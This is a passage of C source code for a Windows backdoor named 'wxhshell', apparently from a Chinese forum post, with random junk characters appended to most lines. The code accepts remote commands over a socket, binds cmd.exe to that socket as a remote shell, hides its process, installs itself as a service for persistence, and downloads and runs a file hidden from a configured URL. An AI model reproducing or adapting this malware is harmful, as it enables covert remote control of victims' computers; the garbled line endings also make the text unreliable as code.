  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^\ N@qL  
  } }{R?i,j(  
  else { UJ/=RBfkJ  
AHo4% 5  
    switch(cmd[0]) { DOsQVdH  
  T J!d 7  
  // 帮助 g< F7UA  
  case '?': { ;JD/4:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bAUruTn  
    break; L@|xpq  
  } KW&vX%i(.  
  // 安装 6UK}?+r~  
  case 'i': { ;kX:k~,]}>  
    if(Install()) }akF=/M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _^k9!V jo  
    else &OM e'P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pzQWr*5a  
    break; hhM?I$t:  
    } "PK`Ca@`v  
  // 卸载 sTb@nrRxH  
  case 'r': { :L6,=#  
    if(Uninstall()) IyV%tOy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [PhT zXt  
    else =SUCcdy&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A.v'ws+VDP  
    break; s"xiGp9  
    } eyIbjgpV  
  // 显示 wxhshell 所在路径 OsGKlWM/  
  case 'p': { $q%l)]+  
    char svExeFile[MAX_PATH]; '",+2=JJ  
    strcpy(svExeFile,"\n\r"); FQgc\-8tm  
      strcat(svExeFile,ExeFile); *}Cm/li/w  
        send(wsh,svExeFile,strlen(svExeFile),0); y.6Yl**l  
    break; mC,:.d  
    } Lc?q0x^s  
  // 重启 { ML)F]]  
  case 'b': { M,R**z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )/Mk\``j  
    if(Boot(REBOOT)) mR1|8H!f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s~)I1G  
    else { <`P7^ 'z!  
    closesocket(wsh); "Ei' FM  
    ExitThread(0); DZ*m"Bi  
    } .1@8rVp7  
    break; tDQo1,(oY  
    } <AN=@`+  
  // 关机 9N*!C{VW  
  case 'd': { _C&XwC Im  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f.{/PL  
    if(Boot(SHUTDOWN)) *`WD/fG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SbX#$; ks~  
    else { j3$\+<m]  
    closesocket(wsh); Pg%k>~i  
    ExitThread(0); L_(Y[!  
    } y=k!>Y|E  
    break; {@*l,[,5-  
    } s^lm 81;  
  // 获取shell L8.u7(-#  
  case 's': { C?-_8OA  
    CmdShell(wsh); Cz)/Bq  
    closesocket(wsh); [`/d$V!e  
    ExitThread(0); _Y 8RP%  
    break; e00s*LdC  
  } h5p,BRtu  
  // 退出 ^sb+|b  
  case 'x': { 7Pp~)Kq=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .J fV4!=o  
    CloseIt(wsh); #Ab,h#f*7  
    break; {Ip)%uR  
    } J,,+JoD  
  // 离开 yh{Wuz=T  
  case 'q': { ov%.+5P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $?Z-BD1  
    closesocket(wsh); b+!I_g4P  
    WSACleanup(); 1WJ%n;  
    exit(1); @(I)]Ca%O  
    break; 68YJ@(iS  
        } v3Xt<I=4y  
  } l>{+X )  
  } !^_G~`r$2J  
S/H!a:_5r  
  // 提示信息 b _%W*Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8Ssk>M*  
} O9jpt>:kZ  
  } yE>f.|(  
HP G*o  
  return; u8sK~1CPf  
} hJasnY7  
g4=6\vg  
// shell模块句柄 F]k$O$)0  
int CmdShell(SOCKET sock) = }6l.9  
{ ~vv\A5O[|  
STARTUPINFO si; u[yUUYe  
ZeroMemory(&si,sizeof(si)); oMer+=vH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2 }HS`) /  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o])2_e5  
PROCESS_INFORMATION ProcessInfo; }2i3  
char cmdline[]="cmd"; "H!2{l{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bp:i[9w  
  return 0; p@x1B &Z  
} +(9qAB7  
;.wWw" )  
// 自身启动模式 .-W_m7&}  
int StartFromService(void) *[?DnF+  
{ q9`!T4,  
typedef struct KXy|Si8w  
{ #6 yi  
  DWORD ExitStatus; {V{*rq<)  
  DWORD PebBaseAddress; ;q6FdS  
  DWORD AffinityMask; B\z4o\am%  
  DWORD BasePriority;  V6{P41_  
  ULONG UniqueProcessId; hc4W|Ofj  
  ULONG InheritedFromUniqueProcessId; gbJz5EEq  
}   PROCESS_BASIC_INFORMATION; u  teI[Q  
XCTee  
PROCNTQSIP NtQueryInformationProcess; |Skxa\MI  
L>qLl_.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TXlxnB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Uhz<B #tj  
8}0O @ wq  
  HANDLE             hProcess; aH1mW;,1u  
  PROCESS_BASIC_INFORMATION pbi; utz!ElzA  
k!lz_Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jc:gNQCsP  
  if(NULL == hInst ) return 0; m]8rljo  
K14e"w%6rs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZR<T\w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H3Y FbR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $R3]y9`?  
P%A^TD|  
  if (!NtQueryInformationProcess) return 0; IWvLt  
.az +'1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vT V'D&x2  
  if(!hProcess) return 0; Amf gc>eJ  
t@[&8j2B>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D.zEE-cGyb  
Vv4 w?K  
  CloseHandle(hProcess); 4k5X'&Q  
bT<if@h-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cXiNO ke&  
if(hProcess==NULL) return 0; sK8=PZ \  
96UL](l(`  
HMODULE hMod; v1Tla]d  
char procName[255]; )$XW~oA'  
unsigned long cbNeeded; ^s/HbCA  
q~68)D(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CM+Nm(|\,  
T u>5H`  
  CloseHandle(hProcess); DT`TA#O  
5qzFH,  
if(strstr(procName,"services")) return 1; // 以服务启动 .}n%gc~A  
0b%"=J2/p.  
  return 0; // 注册表启动 {3F;:%$`c  
} 45` i  
fvn`$  
// 主模块 S)T]>Ash  
int StartWxhshell(LPSTR lpCmdLine) N t]YhO  
{ k%|7H,7  
  SOCKET wsl; ~u-DuOZ8  
BOOL val=TRUE; H`#{zt);  
  int port=0; 2Fk4jHj  
  struct sockaddr_in door; U~8;y'  
n1+1/  
  if(wscfg.ws_autoins) Install(); #=mLQSiQ  
c++GnQc.  
port=atoi(lpCmdLine); Bw _^"e8X  
\c1u$'|v  
if(port<=0) port=wscfg.ws_port; 5VD(fW[OW]  
!n9H[QP^9  
  WSADATA data; 04ZP\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {cmY`to  
<d89eV+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~9%L)nC2'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _m.u@+g  
  door.sin_family = AF_INET; coa+@g,w7#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t5: 1' N9P  
  door.sin_port = htons(port); G?`{OW3:_  
a6\0XVU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1vKAJ<4W  
closesocket(wsl); rCt8Q&mzf  
return 1; E,u/^V9x  
} ^3re*u4b=  
M)sM G C  
  if(listen(wsl,2) == INVALID_SOCKET) { $*N^ bj  
closesocket(wsl); *AK{GfP_  
return 1; ]fxYS m  
} !1G6ZC:z  
  Wxhshell(wsl); L@9@3?  
  WSACleanup(); @JB9qT  
HRQ3v`P.  
return 0; G8bc\]  
{}gx;v)  
} BwpEIV@b]  
2F5*C  
// 以NT服务方式启动 $?x;?wS0V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '" MT$MrT  
{ v_U+wga  
DWORD   status = 0; CMu/n]?c  
  DWORD   specificError = 0xfffffff; 3|++2Z{},  
d\eTyN'rA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }4$k-,1S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K=Q<G:+&V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bs?B\k=  
  serviceStatus.dwWin32ExitCode     = 0; eKpWFP 0  
  serviceStatus.dwServiceSpecificExitCode = 0; i&K-|[3{g  
  serviceStatus.dwCheckPoint       = 0; DIAHI V<  
  serviceStatus.dwWaitHint       = 0; 'xK ,|U  
=74yhPAW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hCpX# rg?  
  if (hServiceStatusHandle==0) return; g>gVO@"b2  
XC*!=h*  
status = GetLastError(); `1xJ1 z#  
  if (status!=NO_ERROR) z4!Y9  
{ 5vP=Wf cW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9nGS"E l{  
    serviceStatus.dwCheckPoint       = 0; y)//u:l  
    serviceStatus.dwWaitHint       = 0; @#u'z ~a)  
    serviceStatus.dwWin32ExitCode     = status; s?j||  
    serviceStatus.dwServiceSpecificExitCode = specificError; :,8eM{.Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TyGsSc  
    return; I_.Jo `lK~  
  } aG*Mj;J  
PR+L6DT_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m)\wbkC  
  serviceStatus.dwCheckPoint       = 0; A?zxF5rfp  
  serviceStatus.dwWaitHint       = 0; K?J?]VCw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ov xX.h O  
} (R{|*:KP  
E9N.b.Q)  
// 处理NT服务事件,比如:启动、停止 5f}GV0=n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m[w 8|[  
{ GZx?vSoHh  
switch(fdwControl) h\<;N*Xi  
{ IKs2.sj"o  
case SERVICE_CONTROL_STOP: -dO9y=?t  
  serviceStatus.dwWin32ExitCode = 0; .9uw@ Eq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x2M{=MExE.  
  serviceStatus.dwCheckPoint   = 0; o0 &pSCK  
  serviceStatus.dwWaitHint     = 0; .E/NlGm[  
  { cedH#;V!j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i_' u:P<t  
  } :k&5Z`>)  
  return; )4O* D92  
case SERVICE_CONTROL_PAUSE: *.P3fVlZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -<Oy5N  
  break; Cn"L*\o  
case SERVICE_CONTROL_CONTINUE: k2Dq~zn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @ C"w 1}  
  break; ;p8,=w  
case SERVICE_CONTROL_INTERROGATE: Y'9<fSn5&  
  break; 7nl  
}; ;=i$0w9W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( L ]C  
} &{=`g+4n  
V|T3blG?D  
// 标准应用程序主函数 uc?`,;8{`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {!av3Pz\  
{ =JDa[_lpN  
sqjv3=}  
// 获取操作系统版本 ,0fYB*jk  
OsIsNt=GetOsVer(); EG oe<.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6i=Nk"d  
/OsTZ"*.2/  
  // 从命令行安装  1k39KO@  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]/TqPOi:  
 $hgsWa  
  // 下载执行文件 y0b FzR9  
if(wscfg.ws_downexe) { <pp<%~_Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wPRs.(]_  
  WinExec(wscfg.ws_filenam,SW_HIDE); Zt{\<5j  
} )an,-EIX%  
V+dFL9  
if(!OsIsNt) { =7P(T`j  
// 如果时win9x,隐藏进程并且设置为注册表启动 # fkOm Y7X  
HideProc(); ~'3hK4  
StartWxhshell(lpCmdLine); V+MhS3VD  
} f<K7m  
else eGW~4zU  
  if(StartFromService()) FZJyqqA$_  
  // 以服务方式启动 maINp"#  
  StartServiceCtrlDispatcher(DispatchTable); y|O)i I/g  
else h_?#.z0ih;  
  // 普通方式启动 nq3B(  
  StartWxhshell(lpCmdLine); $P7G,0-  
{S=gXIh(y  
return 0; TkjPa};R  
}
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只看该作者 1 发表于: 2006-10-10
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